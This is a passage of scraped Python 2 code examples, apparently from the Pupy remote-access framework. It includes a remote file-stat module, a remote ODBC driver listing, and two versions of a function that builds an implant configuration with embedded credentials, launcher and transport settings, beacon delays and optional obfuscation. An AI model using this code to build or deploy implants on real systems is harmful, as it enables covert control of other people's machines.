                certificates = [
                    load_cert_string(cert, FORMAT_DER).as_text()
                    for cert in values
                ]
            elif isinstance(values, dict):
                records = [{
                    'KEY':
                    k.decode('utf-8'),
                    'VALUE':
                    v.decode('utf-8') if isinstance(v, str) else str(v)
                } for k, v in values.iteritems()]

                infos.append(Table(records, ['KEY', 'VALUE'], caption=extra))
            elif isinstance(values, (list, tuple)):
                if all(
                        isinstance(value, (list, tuple)) and len(value) == 2
                        for value in values):
                    infos.append(
                        List('{}: {}'.format(key, value)
                             for key, value in values))
                else:
                    infos.append(List(values, caption=extra))
            elif isinstance(values, int):
                oneliners.append('{}: {}'.format(extra, values))
            elif '\n' in values:
                infos.append(Line(extra + ':', values))
            else:
                oneliners.append(extra + ': ' + values)

        if args.verbose:
            magic = ''
            if header:
                with Magic() as libmagic:
                    magic = libmagic.id_buffer(header)

            if magic:
                oneliners.append('Magic: {}'.format(magic))

            if certificates:
                infos.extend(certificates)

        if oneliners:
            infos.append(List(oneliners, caption='Other'))

        self.log(MultiPart(infos))
Beispiel #22
0
 def drivers(self, args):
     drivers = self.client.remote('odbc', 'drivers')
     self.log(List(drivers()))
Beispiel #23
0
def get_raw_conf(display, conf, obfuscate=False, verbose=False):

    credentials = Credentials(role='client')

    if "offline_script" not in conf:
        offline_script=""
    else:
        offline_script=conf["offline_script"]

    launcher = launchers[conf['launcher']]()
    launcher.parse_args(conf['launcher_args'])

    required_credentials = set(launcher.credentials) \
      if hasattr(launcher, 'credentials') else set([])

    transport = launcher.get_transport()
    transports_list = []

    if transport:
        transports_list = [transport]
        if transports[transport].credentials:
            for name in transports[transport].credentials:
                required_credentials.add(name)
    elif not transport:
        for n, t in transports.iteritems():
            transports_list.append(n)

            if t.credentials:
                for name in t.credentials:
                    required_credentials.add(name)

    available = []
    not_available = []

    for cred in required_credentials:
        if credentials[cred]:
            available.append(cred)
        else:
            not_available.append(cred)

    display(
        List(available, bullet=Color('+', 'green'),
        caption=Success('Required credentials (found)')))

    if not_available:
        display(
            List(not_available, bullet=Color('-', 'red'),
            caption=Error('Required credentials (not found)')))

    embedded_credentials = '\n'.join([
        '{}={}'.format(credential, repr(credentials[credential])) \
        for credential in required_credentials if credentials[credential] is not None
    ])+'\n'

    if verbose:
        config_table = [{
            'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else (
                unicode(v) if type(v) not in (tuple,list,set) else ' '.join(
                    unicode(x) for x in v))
        } for k,v in conf.iteritems() if v]

        display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1))

    config = '\n'.join([
        'pupyimporter.pupy_add_package({})'.format(
            repr(cPickle.dumps({
                'pupy_credentials.pye':
                bytes(pupycompile(embedded_credentials, obfuscate=True))
            }))),
        dependencies.importer(set(
            'network.transports.{}'.format(transport) for transport in transports_list
        ), path=ROOT),
        'import sys',
        'sys.modules.pop("network.conf", "")',
        'import network.conf',
        'LAUNCHER={}'.format(repr(conf['launcher'])),
        'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
        'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)),
        'DELAYS={}'.format(repr(conf.get('delays', [
            (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))),
        'pupy.cid = CONFIGURATION_CID',
        'debug={}'.format(bool(conf.get('debug', False))),
        'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""')
    ])

    return compress_encode_obfs(config) if obfuscate else config
Beispiel #24
0
class FStat(PupyModule):
    '''Show a bit more info about file path. ACLs/Caps/Owner for now'''

    dependencies = {
        'all': ['pupyutils', 'fsutils', 'fsutils_ext'],
        'windows': ['junctions', 'ntfs_streams'],
        'linux': ['xattr', 'posix1e', 'prctl', '_prctl']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='stat',
                                            description=cls.__doc__)
        cls.arg_parser.add_argument('path',
                                    type=str,
                                    nargs=REMAINDER,
                                    help='path of a specific file',
                                    completer=remote_path_completer)

    def run(self, args):
        getfilesec = self.client.remote('fsutils_ext', 'getfilesec')

        path = ' '.join(args.path)

        try:
            sec = getfilesec(path)
        except Exception, e:
            self.error(' '.join(x for x in e.args
                                if type(x) in (str, unicode)))
            return

        ctime, atime, mtime, size, owner, group, header, mode, extra = sec

        owner_id, owner_name, owner_domain = owner
        group_id, group_name, group_domain = group

        magic = ''
        if header:
            with Magic() as libmagic:
                magic = libmagic.id_buffer(header)

        default = {
            'Created':
            file_timestamp(ctime, time=True),
            'Accessed':
            file_timestamp(atime, time=True),
            'Modified':
            file_timestamp(mtime, time=True),
            'Size':
            '{} ({})'.format(size_human_readable(size), size),
            'Owner':
            '{}{} ({})'.format(owner_domain + '\\' if owner_domain else '',
                               owner_name, owner_id),
            'Group':
            '{}{} ({})'.format(group_domain + '\\' if group_domain else '',
                               group_name, group_id),
            'Mode':
            mode,
        }

        infos = []

        infos.append(
            Table([{
                'Property': p,
                'Value': default[p]
            } for p in ('Created', 'Accessed', 'Modified', 'Size', 'Owner',
                        'Group', 'Mode')], ['Property', 'Value'],
                  legend=False))

        if magic:
            infos.append('Magic: {}'.format(magic))

        for extra, values in extra.iteritems():
            if type(values) in (list, tuple):
                infos.append(List(values, caption=extra))
            else:
                infos.append(Line(extra + ':', values))

        self.log(MultiPart(infos))
Beispiel #25
0
def get_raw_conf(display, conf, verbose=False):

    credentials = Credentials(role='client')

    if 'offline_script' not in conf:
        offline_script = ''
    else:
        offline_script = conf['offline_script']

    launcher = launchers[conf['launcher']]()
    launcher.parse_args(conf['launcher_args'])

    required_credentials = set(launcher.credentials) \
      if hasattr(launcher, 'credentials') else set([])

    transport = launcher.transport
    transports_list = []

    if transport:
        transports_list = [transport]
        if transports[transport].credentials:
            for name in transports[transport].credentials:
                required_credentials.add(name)

    elif not transport:
        for n, t in transports.iteritems():
            transports_list.append(n)

            if t.credentials:
                for name in t.credentials:
                    required_credentials.add(name)

    available = []
    not_available = []

    for cred in required_credentials:
        if credentials[cred]:
            available.append(cred)
        else:
            not_available.append(cred)

    display(
        List(available,
             bullet=Color('+', 'green'),
             caption=Success('Required credentials (found)')))

    if not_available:
        display(
            List(not_available,
                 bullet=Color('-', 'red'),
                 caption=Error('Required credentials (not found)')))

    embedded_credentials = {
        credential: credentials[credential]
        for credential in required_credentials
        if credentials[credential] is not None
    }

    if verbose:
        config_table = [{
            'KEY':
            k,
            'VALUE':
            'PRESENT' if (k in ('offline_script') and v) else
            (unicode(v) if type(v) not in (tuple, list, set) else ' '.join(
                unicode(x) for x in v))
        } for k, v in conf.iteritems() if v]

        display(
            Table(config_table, ['KEY', 'VALUE'],
                  Color('Configuration', 'yellow'),
                  vspace=1))

    config = {
        'credentials': embedded_credentials,
        'scriptlets': [offline_script] or [],
        'debug': conf.get('debug', False),
        'launcher': conf['launcher'],
        'launcher_args': conf['launcher_args'],
        'cid': conf.get('cid', 0x31338),
        'delays': conf.get('delays', [(10, 5, 10), (50, 30, 50),
                                      (-1, 150, 300)])
    }

    return config